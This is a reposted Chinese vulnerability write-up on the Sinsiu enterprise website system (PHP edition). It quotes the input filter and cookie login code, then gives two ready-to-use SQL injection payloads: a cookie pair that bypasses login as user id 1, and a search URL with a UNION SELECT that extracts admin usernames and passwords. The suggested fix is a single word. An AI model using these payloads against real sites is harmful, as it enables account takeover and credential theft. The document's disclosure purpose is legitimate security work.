来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] rt详细说明:新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较...
新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较高安全性;前台可设置成同时显示多国语言,适合用于外贸企业建站;系统采用了目前业界著名的PHP模板引擎Smarty,熟悉Smarty的开发人员可以方便、快速地制作出sinsiu模板。
function strict($str) { if(S_MAGIC_QUOTES_GPC) { $str = stripslashes($str); gpc的话就去掉转义符(故意给我们注入的么。。。) } $str = str_replace('<','<',$str); $str = str_replace('>','>',$str); $str = str_replace('?','?',$str); $str = str_replace('%','%',$str); $str = str_replace(chr(39),''',$str); $str = str_replace(chr(34),'"',$str); $str = str_replace(chr(13).chr(10),'<br />',$str); return $str; /过滤一些字符,可以看到单引号没了 }
function check_user_login() { global $user_id; $username = get_cookie('user_username'); $password = get_cookie('user_password'); if($username != '' && $password != '') { $obj = new users(); $obj->set_field('use_id'); $obj->set_where("use_username = '$username'"); $obj->set_where("use_password = '$password'"); $one = $obj->get_one(); if(count($one) !== 0) { $user_id = $one['use_id']; return intval($user_id); }else{ return 0; } }else{ return 0; } }
user_username = aa\ ;user_password=or use_id = 1 %23
set_smarty(); load_lang_pack(array($global['channel'])); initial('index'); if(isset($global['key'])) { $smarty->assign('page_title',rawurldecode($global['key'])); } $smarty->display('search.php');
?/search/index.html/key-%%27%20union%20select%20adm_username,adm_password,3%20from%20php_admin%23/
Powered by sinsiu 粤ICP备12345678号
修复方案:过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com